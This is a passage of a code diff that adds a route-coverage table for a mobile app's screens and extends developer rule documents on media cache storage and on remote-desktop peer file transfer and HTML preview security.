apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/InlineQueueSection.tsx, apps/mobile/src/session/InlineQuoteChip.tsx, apps/mobile/src/session/InlineReferenceChip.tsx, apps/mobile/src/session/InteractionPanel.tsx, apps/mobile/src/session/MarkdownBlockContent.tsx, apps/mobile/src/session/MessageActionSheet.tsx, apps/mobile/src/session/MessageRenderer.tsx, apps/mobile/src/session/MobileAgentSwitcher.tsx, apps/mobile/src/session/MobileBoundaryNotice.tsx, apps/mobile/src/session/MobileComposerInputRow.tsx, apps/mobile/src/session/MobileModelPickerList.tsx, apps/mobile/src/session/MobilePermissionPickerList.tsx, apps/mobile/src/session/MobileProviderMark.tsx, apps/mobile/src/session/ModelOptionsSheetView.tsx, apps/mobile/src/session/ModelPickerSheet.tsx, apps/mobile/src/session/PendingSendBubble.tsx, apps/mobile/src/session/PiSessionTreeSheet.tsx, apps/mobile/src/session/PlanModeChip.tsx, apps/mobile/src/session/QuoteCapsule.tsx, apps/mobile/src/session/RewindPreviewPanel.tsx, apps/mobile/src/session/SentInlineAtomBody.tsx, apps/mobile/src/session/SessionListDrawer.tsx, apps/mobile/src/session/SessionMenuSheet.tsx, apps/mobile/src/session/SessionTailBanner.tsx, apps/mobile/src/session/SessionUsageSummary.tsx, apps/mobile/src/session/ShareMessageCheckbox.tsx, apps/mobile/src/session/ShareSelectAllButton.tsx, apps/mobile/src/session/ShareSelectionBar.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SlowSendNotice.tsx, apps/mobile/src/session/StreamingStatusText.tsx, apps/mobile/src/session/VoiceRecordingPill.tsx, apps/mobile/src/session/composerRichInputHtml.ts, apps/mobile/src/session/conversationShareWebViewHtml.ts, apps/mobile/src/session/mathWebView.tsx, apps/mobile/src/session/mathWebViewHtml.ts, apps/mobile/src/session/mediaPlayerWebView.tsx, apps/mobile/src/session/mediaPlayerWebViewHtml.ts, apps/mobile/src/session/mermaidWebView.tsx, apps/mobile/src/session/mermaidWebViewHtml.ts, apps/mobile/src/session/selectableMarkdownHtml.ts, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 7 | 203 | 188 |
+| `mobile.companions.direct` | mobile | 伙伴私聊回看 | app/companions/direct/[threadId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [threadId], _layout, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/companions/direct/[threadId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 14 |
+| `mobile.device-management` | mobile | 设备管理 | app/devices/manage.tsx / app/devices/manage/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceInformationFields, DeviceInformationFields.ios, DeviceLinkContext, DeviceManagementDialogs, DeviceManagementList, DeviceManagementList.ios, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RenameDeviceModal, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, manage, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/manage.tsx, apps/mobile/app/devices/manage/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceInformationFields.ios.tsx, apps/mobile/src/device-link/DeviceInformationFields.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/DeviceManagementDialogs.tsx, apps/mobile/src/device-link/DeviceManagementList.ios.tsx, apps/mobile/src/device-link/DeviceManagementList.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RenameDeviceModal.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 17 |
+| `mobile.devices` | mobile | 主机详情 | app/devices/[deviceId].tsx | AccountSwitcherSheet, AppText, AuthContext, AutomationTimerIcon, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConversationSearchFilterSheet, DeviceLinkContext, HomeChromeDrawer, HomeChromeFrost, HomeGlassMenuPanel, HomeHeaderGlassButton, HomeNativeStackHeader, HomeProjectMachineLabel, HomeSearchBar, IncomingShareBridge, MobileAgentMark, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, MobileVendorIcon, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteAccessGuide, RemoteTaskSuggestions, RenameSessionModal, SessionActionSheet, SessionOptionsExpoSheet, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, SwipeableSessionRow, SwipeableSessionRow.ios, ThemeProvider, [deviceId], _layout, gestureHandler, index, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/[deviceId].tsx, apps/mobile/app/devices/index.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteAccessGuide.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/AutomationTimerIcon.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/HomeChromeDrawer.tsx, apps/mobile/src/session/HomeChromeFrost.tsx, apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeHeaderGlassButton.tsx, apps/mobile/src/session/HomeProjectMachineLabel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RemoteTaskSuggestions.tsx, apps/mobile/src/session/RenameSessionModal.tsx, apps/mobile/src/session/SessionActionSheet.tsx, apps/mobile/src/session/SessionOptionsExpoSheet.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SwipeableSessionRow.ios.tsx, apps/mobile/src/session/SwipeableSessionRow.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 60 |
+| `mobile.files` | mobile | 任务文件与预览 | app/files/[sessionId].tsx / app/files/preview/[sessionId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HtmlFileReader, ImageLightbox, IncomingShareBridge, MarkdownFileReader, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, StartupSplashOverlay, ThemeProvider, [sessionId], _layout, gestureHandler, mediaPlayerWebView, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/files/[sessionId].tsx, apps/mobile/app/files/preview/[sessionId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/HtmlFileReader.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MarkdownFileReader.tsx, apps/mobile/src/session/mathWebViewHtml.ts, apps/mobile/src/session/mediaPlayerWebView.tsx, apps/mobile/src/session/mediaPlayerWebViewHtml.ts, apps/mobile/src/session/selectableMarkdownHtml.ts, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 202 | 36 |
+| `mobile.home` | mobile | 主机与资源首页 | app/index.tsx / app/devices/index.tsx | AccountSwitcherSheet, AppText, AuthContext, AutomationTimerIcon, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConversationSearchFilterSheet, DeviceLinkContext, HomeChromeDrawer, HomeChromeFrost, HomeGlassMenuPanel, HomeHeaderGlassButton, HomeNativeStackHeader, HomeProjectMachineLabel, HomeSearchBar, IncomingShareBridge, MobileAgentMark, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, MobileVendorIcon, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteAccessGuide, RemoteTaskSuggestions, RenameSessionModal, SessionActionSheet, SessionOptionsExpoSheet, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, SwipeableSessionRow, SwipeableSessionRow.ios, ThemeProvider, _layout, gestureHandler, index, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/index.tsx, apps/mobile/app/index.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteAccessGuide.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/AutomationTimerIcon.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/HomeChromeDrawer.tsx, apps/mobile/src/session/HomeChromeFrost.tsx, apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeHeaderGlassButton.tsx, apps/mobile/src/session/HomeProjectMachineLabel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RemoteTaskSuggestions.tsx, apps/mobile/src/session/RenameSessionModal.tsx, apps/mobile/src/session/SessionActionSheet.tsx, apps/mobile/src/session/SessionOptionsExpoSheet.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SwipeableSessionRow.ios.tsx, apps/mobile/src/session/SwipeableSessionRow.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 56 |
+| `mobile.overlay.connection-startup` | mobile | 根布局挂载的启动与连接反馈 | app/_layout.tsx → StartupSplashOverlay / ConnectionNoticeProvider;各页面 ConnectionBanner | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConnectionNoticeProvider, DeviceLinkContext, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, StartupSplashOverlay, ThemeProvider, _layout, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 13 |
+| `mobile.remote-desktop` | mobile | 远程桌面 | app/devices/desktop/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PermissionGuide, PermissionGuideView, PermissionGuideView.ios, PushNotificationsBridge, QuietSyncIndicator, RemoteDesktopActionButton, RemoteDesktopActionButton.ios, RemoteDesktopBackButton, RemoteDesktopBackButton.ios, RemoteDesktopChrome, RemoteDesktopClipboardButton, RemoteDesktopControls, RemoteDesktopDisplaySettings, RemoteDesktopIcons, RemoteDesktopNetworkStatus, RemoteDesktopPanelButton, RemoteDesktopPanelButton.ios, RemoteDesktopScreen, RemoteDesktopSecuritySettings, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/desktop/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/remote-desktop/PermissionGuide.tsx, apps/mobile/src/remote-desktop/PermissionGuideView.ios.tsx, apps/mobile/src/remote-desktop/PermissionGuideView.tsx, apps/mobile/src/remote-desktop/RemoteDesktopActionButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopActionButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopBackButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopBackButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopChrome.tsx, apps/mobile/src/remote-desktop/RemoteDesktopClipboardButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopControls.tsx, apps/mobile/src/remote-desktop/RemoteDesktopDisplaySettings.tsx, apps/mobile/src/remote-desktop/RemoteDesktopIcons.tsx, apps/mobile/src/remote-desktop/RemoteDesktopNetworkStatus.tsx, apps/mobile/src/remote-desktop/RemoteDesktopPanelButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopPanelButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopScreen.tsx, apps/mobile/src/remote-desktop/RemoteDesktopSecuritySettings.tsx, apps/mobile/src/remote-desktop/viewerHtml.ts, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 41 |
+| `mobile.resources` | mobile | 远程资源列表与详情 | app/resources/[collectionId].tsx / app/resources/[collectionId]/[resourceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteCompanionAvatar, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [collectionId], [resourceId], _layout, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/resources/[collectionId].tsx, apps/mobile/app/resources/[collectionId]/[resourceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteCompanionAvatar.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 18 |
+| `mobile.settings` | mobile | 设置(含调试与日志上传可见入口) | app/settings.tsx | AppText, AuthContext, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileChoicePickerList, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, _layout, gestureHandler, peerFileTransport, settings, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/settings.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MobileChoicePickerList.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 22 |
### 生产路由覆盖
diff --git a/docs/dev-rules/media-storage-and-protocols.md b/docs/dev-rules/media-storage-and-protocols.md
index afbbe43b93..86be8269eb 100644
--- a/docs/dev-rules/media-storage-and-protocols.md
+++ b/docs/dev-rules/media-storage-and-protocols.md
@@ -45,6 +45,10 @@
不可再生用户内容,必须沿用现有 pin/引用流程转为不可按缓存回收。
- 零引用入仓只适用于已有草稿或生成结果提交链路。新增零引用窗口时,必须证明内容在消息
落库前不会被回收,并用测试覆盖成功、失败、取消和重试。
+- 可再生 HTML 临时快照缓存是独立副本的例外:仅在快照已物化自己的文件、HTTP 服务不依赖
+ 媒体仓 blob、且该缓存不作为持久附件提交时,使用 `isCache: true` 和空引用入仓。
+ 必须验证媒体仓缓存不可用时快照仍可读取,以及重复打开、失败、取消和重试不新增业务引用;
+ 不得将已有持久附件的同内容 blob 降级为可回收缓存。
## 读取、协议与边界
diff --git a/docs/dev-rules/remote-desktop-connectivity.md b/docs/dev-rules/remote-desktop-connectivity.md
index fc0c064478..da3d44699c 100644
--- a/docs/dev-rules/remote-desktop-connectivity.md
+++ b/docs/dev-rules/remote-desktop-connectivity.md
@@ -2,7 +2,8 @@
DeviceLink WSS remains the authorized signaling/control transport. WebRTC media
and its input channel use ICE, with the existing JPEG path retained when video
-cannot connect. Object-storage transfer is unaffected.
+cannot connect. File transfer reuses the ICE configuration through an independent
+data-only connection; object storage remains its fallback (see below).
## ICE configuration
@@ -34,8 +35,8 @@ not promise uninterrupted in-place renewal of TURN allocations.
Old clients continue unchanged. New viewer + old Desktop can still use viewer-side
TURN; old viewer + new Desktop can use host-side TURN. Existing full-SDP and trickle
-ICE capabilities stay unchanged. There are no new wire kinds, IPC entry points,
-native dependencies, fingerprint changes or file-transfer capabilities.
+ICE capabilities stay unchanged. The desktop-video connectivity change adds no new wire kinds or native dependencies.
+The independent file transport below has its own authorized IPC channel.
## Verification
@@ -98,3 +99,108 @@ frame rate/freezes and recovery duration. Distinguish connection recovery from
initial selection of a reachable backup, and RTT from input-to-visible-response
latency. Test the previous STUN-only behavior on the same pairs. Include JPEG and
object-storage transfer regression checks; do not report unavailable metrics as zero.
+
+## Remote files and HTML previews
+
+`device-link:file-peer` is an allowlisted DeviceLink RPC, with a 30-second request
+budget and versioned `caps`, `offer`, `open`, `close` actions. Signaling keeps the
+existing account, enabled-host and controller-revocation checks. It introduces no
+relay envelope kind or server file API. Both peers use the existing ICE endpoint;
+ICE chooses a direct or TURN path. The file channel does not share desktop video,
+input handling, capture permissions or capture-process lifetime.
+
+File access has two layers. `packages/device-link/src/fileAccess.ts` owns the
+shared directory/text operation facade and whole-file transfer selection; Desktop
+and Mobile adapters provide platform I/O. Sidebar downloads, message files/media,
+Mobile export/share and requested HTML resources use this policy. Directory listing
+keeps the existing `remote-op` and separates complete enumeration from display
+filtering. Bounded text previews retain binary detection, truncation and gzip;
+they are preview projections rather than whole-file downloads.
+
+Whole-file reads request `prepareOnly` after host authorization. Up to 64 KiB,
+including empty files, returns inline bytes; larger files attempt the reusable
+file WebRTC connection, then OSS. The peer limit is 2 GiB; range-streaming
+media intentionally use OSS, selected before downloading any peer bytes. Workdir
+downloads probe `caps.fileRead` first: old hosts retain two-phase export jobs, so
+large uploads do not regress to a single relay invocation. `fileUrl` resolves a
+workdir-relative reference on the host, never guesses nested SSH as local storage.
+Nested SSH whole-file export remains unsupported as before; media URLs with an
+explicit verified SSH session retain their existing SSH materialization path.
+
+Mobile uses a separate trusted WebView with a
+build-time-generated script (`node scripts/file-peer-runtime.mjs`), never native
+`Function.toString()`. User HTML receives no native file or transport bridge.
+Missing peer capability, connection or transfer failure falls back to OSS; explicit
+cancellation/account change cancels the operation instead. Old hosts remain usable
+through OSS, but the direct file path requires an updated host.
+
+Transport errors do not bypass host authorization. Cancelled/obsolete reads do
+not start fallback or deliver completed results; disposable peer files are released.
+Legacy OSS export jobs and shared cache fills may finish in the background after
+a consumer leaves. They do not tear down another consumer's transfer or the relay.
+Directory/text/index caches and file-download identities include account/device
+scope; unscoped Mobile v1 directory/snippet caches are not read. Preview snapshots
+still own their copied files independently from the short-lived transfer staging.
+
+An `open` request resolves the same authorized media URL as OSS. Only Main resolves
+paths, checks the effective size limit and opens the descriptor. The renderer sees
+an opaque one-use ticket. Files are limited to 2 GiB, transferred in 16 KiB blocks
+with at most 16 outstanding blocks, and checked for exact size, offsets and source
+stat changes through EOF. This is not a persistent content-hash cache. Changed files
+fail and follow the existing fallback behavior. Each source and sink rechecks its
+connection owner; revoking one controller closes only that controller's transfers.
+Reads queue per Desktop peer and per Mobile file connection; a busy channel alone does
+not cause an OSS fallback. Queued cancellation skips that read without interrupting its
+predecessor. Connections are bounded, reusable for sequential files and expire after 60 seconds
+idle. Mobile staging has a 4 GiB aggregate cap and a five-minute lifetime; consumers
+copy into their existing cache/preview ownership. Backgrounding cancels in-flight
+work, but completed files retain their normal lifetime. Account changes remove them.
+
+Local Desktop HTML opens directly with `file://` in the sidebar or system browser,
+following the existing opening preference. It does not enumerate or copy its parent
+directory. Remote HTML uses a viewer-local loopback HTTP server. Each browser request
+stats/reads only the requested resource through existing file access; no directory
+listing, total file-count or aggregate directory-size check precedes opening.
+Resources are transferred as whole files before responding, not HTTP range streams.
+The preview layer has no separate 100 MiB resource cap; missing or failed resources fail
+individually while the page remains usable. Reloads may observe changed source files;
+there is no atomic directory snapshot. Relative resources stay within the entry's
+parent directory; hidden paths are excluded and realpath checks prevent symlink
+escape outside that root.
+This does not execute a remote site's backend.
+Desktop retains at most eight active previews; a new open evicts the oldest when
+full. External tab closure is not observable. An evicted page must be reopened;
+the two-hour expiry and concurrent preparation bound still apply. Each HTTP response
+owns its staging files, cleaned after response completion. Shared cache fills may
+complete after a preview closes without cancelling other consumers.
+Desktop and Mobile share the snapshot CSP and parser-first device API guard in
+`maker-shared/file-preview`. UTF-8 `.html`/`.htm` pages receive the guard; Desktop also
+serves the CSP as a response header. Other encodings and XML documents (XHTML/SVG) preserve their MIME
